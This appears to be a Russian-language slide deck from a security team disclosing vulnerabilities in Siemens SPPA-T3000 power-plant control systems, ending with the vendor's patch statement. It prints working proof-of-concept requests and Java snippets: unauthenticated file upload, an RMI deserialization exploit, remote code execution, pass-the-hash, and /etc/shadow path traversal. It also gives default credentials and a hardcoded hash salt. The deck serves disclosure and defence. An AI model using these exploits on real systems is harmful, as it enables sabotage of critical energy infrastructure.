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О команде
• ~10 лет в сфере ИБ на каждого
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конференции (DEFCON, CCC, Singapore ICS Cyber
Security, ... ), CVEs & Bug Bounty, ...
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безопасности (тестирование на проникновение,
анализ защищенности, др.)

Глеб Грицай

Сергей Андреев

Сергей Сидоров

Евгения Поцелуевская

Александр Коротин

Раду Моцпан



Электростанции повсюду

https://github.com/wri/global-power-plant-database

https://github.com/wri/global-power-plant-database


Электростанции повсюду

https://new.siemens.com/cn/en/products/energy/power-generation/gas-turbines.html



Siemens SPPA-T3000 в России



Siemens SPPA-T3000

• Уровень оператора
• Рабочие станции 
операторов/инженер
ов

• клиенты OPC

• Уровень 
автоматизации
• Сервер приложений 
(Application 
server)

• NTP сервер
• Сервер 
автоматизации 
(Automation 
server)

• Уровень процесса
• Модули 
ввода/вывода



Выявленные уязвимости

https://cert-portal.siemens.com/productcert/pdf/ssa-451445.pdf

Advisory is based on 
submission from 

several different 
teams

”Security of DCS for turbines - 2020.pdf” in
https://github.com/klsecservices/SPPA



Модель угроз



Модель угроз

Подробнее в 
статье



Сервер приложений

ATTACK SURFACE METER

AWEINSPIRING



Сервер приложений

• ОС Windows
• Server 2003 to 2016
• MS17-010 to CVE-2019-0708 depending 
on the time window

• MSSQL, Cygwin, Apache Tomcat, etc.
• Security updates (e.g. CVE-2016-3067 
fixed in R8.2), configuration issues

• SIMATIC package
• Dependent on another product releases

• SPPA-T3000 package
• Java

• Note: Siemens исправил найденные
уязвимости в 2018 и 2019

163
(58%)

120
(42%)

Windows Server 2008 R2

17
(44%)

22
(56%)

MSSQL Server 2005

50
(82%)

11
(18%)

Apache Tomcat 6.0

CIS benchmarks



OSINT пароли в открытом доступе

Заявление вендора:

• Оператор обязан сменить пароль
после ввода системы в
эксплуатацию

• С 2014-2015 года пароли стали
уникальными для каждой из
электростанций

Internet (c)

Internet (c)

Internet (c)

Internet (c)



SPPA-T3000: Как оператор управляет
электростанцией

• Тонкий клиент
• Взаимодействует по HTTPS 
с сервером приложений

• Толстый клиент
• Обнаруживает сервисы в 
помощью RMI реестра

• Взаимодействует 
непосредственно с 
сервисами на сервере 
приложений

https://www.siemens.com.tr/i/content/3852_1_T3000-SystemOverview_March2008.pdf



SPPA-T3000 приложения и роли

Illustration from SPPA itself http://sppa-app:8080/RemoteDiagnosticView/images/architecture.jpg



SPPA-T3000 приложения и роли

Illustration from SPPA itself http://sppa-app:8080/RemoteDiagnosticView/images/architecture.jpg



OWASP top: directory listing

• /orion/software/config – файлы 
конфигурации ПО SPPA-T3000 

• pc\SystemConfiguration.xml
• afc\*

• /orion/software/config/tomcat/we
b.xml – конфигурация Orion 
WebApp для Tomcat



Orion сервлеты

• Большая поверхность атаки

• Сервлеты с «интересными» 
именами
• BrowseServlet
• FileUpload
• …

• Севрлеты с «интересными» 
функциями
• pc/ServiceFactory



Orion сервлеты: уязвимости

POST /orion/servlet/BrowseServlet
HTTP/1.1
Host: <ip address>:443
Accept:...
Accept-Language: ...
Accept-Encoding: ...

target-name: orion/OrionImport/
basedir: d:/
list_type: files_and_dirs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 0

POST /orion/servlet/FileUploadServlet
HTTP/1.1
Host: <ip address>:443
Accept: ...
Accept-Language: ...
Accept-Encoding: ...

target-name: test_file.exe
basedir: c:\windows\
Connection: close
Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
<arbitrary file content>

Unauthorized directory 
listing

Unauthorized file upload with 
NT AUTHORITY\System rights



Orion сервлеты: уязвимости
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Доступ к RMI сервисам по 443/tcp
Сервлет pc/ServiceFactory перенаправляет HTTP 
запросы к RMI сервисам в PCServiceFactory

• Создание HTTP запроса

• Обработка HTTP запроса в base.jar класс
RemoteServerServlet метод doPost

returnedObject = invokeRmiMethod(sessionID, serviceID, rmiService, methodArguments, 
serviceUrl.getExtension(), methodSignature);



Java RMI реестр

RMI Registry

LookUpService …

PCServiceFact
ory

AdminService

…

LoginService …

Уязвимости десериализации Java (ysoserial)
java -cp ysoserial-
all.jar ysoserial.exploit.RMIRegistryExploit <ip address> 
1099 CommonsBeanutils1 "calc.exe"

Уязвимости RMI сервисов SPPA



AdminService: RCE

... runScript(String className, byte[] classBytes, String[] arguments) {

...
AdminScript adminScript = (AdminScript)Class.forName(className, true, 

(ClassLoader)new ByteClassLoader(classBytes)).newInstance();               
output = adminScript.execute(arguments);

...}

AdminService admin =(AdminService)factory.getService(0, "AdminService");
System.out.println(

admin.runScript(
"com.company.Main",
hexToBytes("cafebabe..."),
new String[] {"ipconfig /all"}

)
);



Java RMI реестр: Сервис 
авторизации
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Sensitive Data Exposure
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Sensitive Data Exposure



Аутентификация пользователя

• Взаимодействие с RMI сервисами в открытом виде

• Pass-the-hash
String traffic_hash = "69d13e6a548264920411f548695112b...";
String desired_hash = "d5709e747cff3db14c5826fe5025452...";
LoginService login =(LoginService)factory.getService(0, "LoginService");
loginid = login.login(“operator1", hexToBytes(traffic_hash), null, client_ip);
SecurityService sec = (SecurityService)factory.getService(loginid, 
"SecurityService");
sec.updatePassword(hexToBytes(traffic_hash), hexToBytes(desired_hash));



Аутентификация пользователя
Пользователи: %ORIONROOT%\data\users\users1.xml

Пароли: %ORIONROOT%\data\pdata\pdata1.exm

Название Тип Описание
userid Int ID пользователя
passwordtime Int epoch Дата создания пароля (мс)
s String Соль, уникальная для каждого пользователя
i Int Количество итераций при вычислении хэша
loginname String Имя пользователя
password String Hex SHA256

iterations = max(min(i, 200000), 100000) + 78742
password_hash = sha256(s + loginname + password + "e8cJP2Wv89") 
/* string "e8cJP2Wv89" is hardcoded */
for (j = 0; j < iterations; j++)
password_hash = sha256(password_hash)

Алгоритм вычисления хэша пароля
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https://github.com/klsecservices/SPPA



Сервер приложений: итоги

• Огромная поверхность атаки
• Java RMI, Tomcat приложения, MSSQL, Cygwin, SIMATIC, 
Windows, user management, др.

• Могут быть внешние соединения
• OPC, удаленное обслуживание, др.

• Воздействие на технологический процесс
• Старт/остановка генерации электричества
• Изменение выходного значения мощности
• Сбор информации о технологическом процессе



Сервер автоматизации



Сервер автоматизации
Основная цель: выполнение задач автоматизации (real-time 
tasks)
Роль Описание

Automation (AS) Взаимодействие с модулями ввода/вывода

Communication (CS) Подключение к SPPA-T3000 сторонних систем

Migration (MS) Подключение к SPPA-T3000 предыдущих версий SPPA

Hardware:

• Simatic S7 PLCs – только для AS

• Package Industrial PC (PIP) – все роли

Men’s health (c)



AS роль на основе PLC

• S7 (102/tcp), PLC data (10001-10003/udp)
• нет механизмов безопасности

• Конфигурация PLC
• Неавторизованный доступ к чтению/записи 
памяти PLC

• Обновления безопасности
• Работает – не трогай! 



AS/CS/MS роли на основе PIP

• ОС Linux (Debian 3, 6, 9 в зависимости от версии SPPA)

• При старте загружает необходимые файлы с сервера приложений 
(jars, bash скрипты, др.)

• Использует PTC Perc VM в качестве Java VM

• Запускает RMI и другие сервисы
o Для MS: запускает Orion RPC сервисы (расширение RMI)



AS/CS/MS роли на основе PIP

• Подмена загружаемых файлов 
при старте (MiTM)

• Учетные данные по умолчанию 
(cmadmin:cm)

• Уязвимости  в Orion RPC
сервисах (2)
• Sensitive data exposure
• RCE

• Уязвимости в ПО сервера 
миграции MS для TXP (23)
• RCE (4)
• DoS (16)
• LPE (3)



Уязвимости в Orion RPC сервисах
Уязвимый сервис: rpc/afc/203/RuntimeEngineeringService_B
• Sensitive data exposure
RpcServerReference ref = mgr.lookup(host, port, "rpc/afc/203/RuntimeEngineeringService_B"); 
ref.connectRpc(); 
RuntimeEngineeringService svc = (RuntimeEngineeringService)ref.getRpcClientProxy(); 
Map<String, String> args = new HashMap<String, String>(); 
System.out.println(svc.requestRuntimeContainer("ReadFile_jars/../../../../etc/shadow", args)); 

• Remote Code execution
RpcServerReference ref = mgr.lookup(host, port, "rpc/afc/203/RuntimeEngineeringService_B");
ref.connectRpc();
RuntimeEngineeringService svc = (RuntimeEngineeringService)ref.getRpcClientProxy(); 
Map<String, String> args = new HashMap<String, String>(); 
String jarhex = "504b03040a…….”;
String jar = new String(hexToBytes(jarhex), "ISO-8859-1");
args.put("CONTENT", jar);
args.put("FILE", "../scripts/test2.jar"); 
System.out.println(svc.requestRuntimeContainer("WriteConfigFile", args)); 
System.out.println(svc.requestRuntimeContainer("Script_test2_com.company.Main_ifconfig", args)); 



MS: переполнения, переполнения, 
переполнения



Сервер автоматизации: итоги

• AS на основе PLC
• обычный PLC с хорошо известными проблемами

• AS/CS/MS на основе PIP 
• обычный Linux
• загружает jars и исполняет их с помощью Perc 
VM



Что дальше?



Выводы
• Возможность самостоятельной проверки вашей OT 
инфраструктуры и обсуждение полученных результатов 
с вендором, интегратором или командой по 
безопасности



Подключаемся здесь и
выполняем простые и
безопасные действия
по проверке
инфраструктуры

Подключаемся 
здесь и 
повторяем 
упражнение

Сделай сам

Подробнее в статье
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• Аналогичные проблемы для систем управления в 
других отраслях

• Дружите с IEC 62443-подобными и требуйте того же 
от остальных



Выводы
• Возможность самостоятельной проверки вашей OT 
инфраструктуры и обсуждение полученных 
результатов с вендором, интегратором или 
командой по безопасности

• Аналогичные проблемы для систем управления в 
других отраслях

• Дружите с IEC 62443-подобными и требуйте того 
же от остальных

• Обновляйте ваш SPPA: ПО, пароли, настройки, др.
• Подключить SOC и начать отслеживать активности 
в вашей OT инфраструктуре – мудрое решение



Материалы
• Статья

”Security of DCS for turbines - 2020.pdf” in https://github.com/klsecservices/SPPA

• Словари (в статье)

• Руководство для самостоятельной оценки 
безопасности (в статье)

• Java RMI диссектор для сервера приложений
https://github.com/klsecservices/desert

• PLC Data диссектор (протокол между сервером 
приложений и сервером автоматизации) 
sppa_dissector.lua in https://github.com/klsecservices/SPPA

• PTC Perc VM декомпилятор
class_parser.php in https://github.com/klsecservices/SPPA

• Инструмент проверки паролей SPPA
sppa_password_audit.py in https://github.com/klsecservices/SPPA



Ответ Siemens
• Siemens addressed a number of vulnerabilities in SPPA-T3000, Rel. 8.2 SP1, and addressed 
all vulnerabilities detected by Kaspersky with Rel. 8.2 SP2.

• Siemens advisory is available at https://cert-portal.siemens.com/productcert/pdf/ssa-
451445.pdf

• In ICS setups based on our default SPPA-T3000 security recommendations (available to all 
customers), the listed vulnerabilities are not exploitable from external networks. 

• As a default procedure when the site acceptance test is finished (system handover), 
Siemens recommends to all customers to change all user passwords.

• Siemens is forwarding information to the SPPA-T3000 customers to align their solution 
configuration with the recommendations described in the SPPA-T3000 Security Manual.

• Siemens is aware of the criticality of SPPA-T3000 for critical infrastructures. Therefore, 
we

• understand software quality improvements as an ongoing task 
• utilize software vulnerability information to enhance the system security testing process
• continue to provide security patches for the mitigation of vulnerabilities in Siemens and 3rd-party 

products as part of an optional software maintenance agreement
• continuously review the SPPA-T3000 security architecture to minimize the attack surface of ICS 

solutions
• recommend deploying ICS components in physically protected areas and cabinets
• are aware of the additional operator responsibility regarding the ICS solution security throughout 

the commercial plant operation cycle and ready to support our customers with (security-related) 
system updates and appropriate services



Спасибо! Вопросы?
@alender911 Александр Коротин

Раду Моцпан

Евгения Поцелуевская

Глеб Грицай

Сергей Андреев

Сергей Сидоров

Все материалы 
доступны в 

@kl_secservices


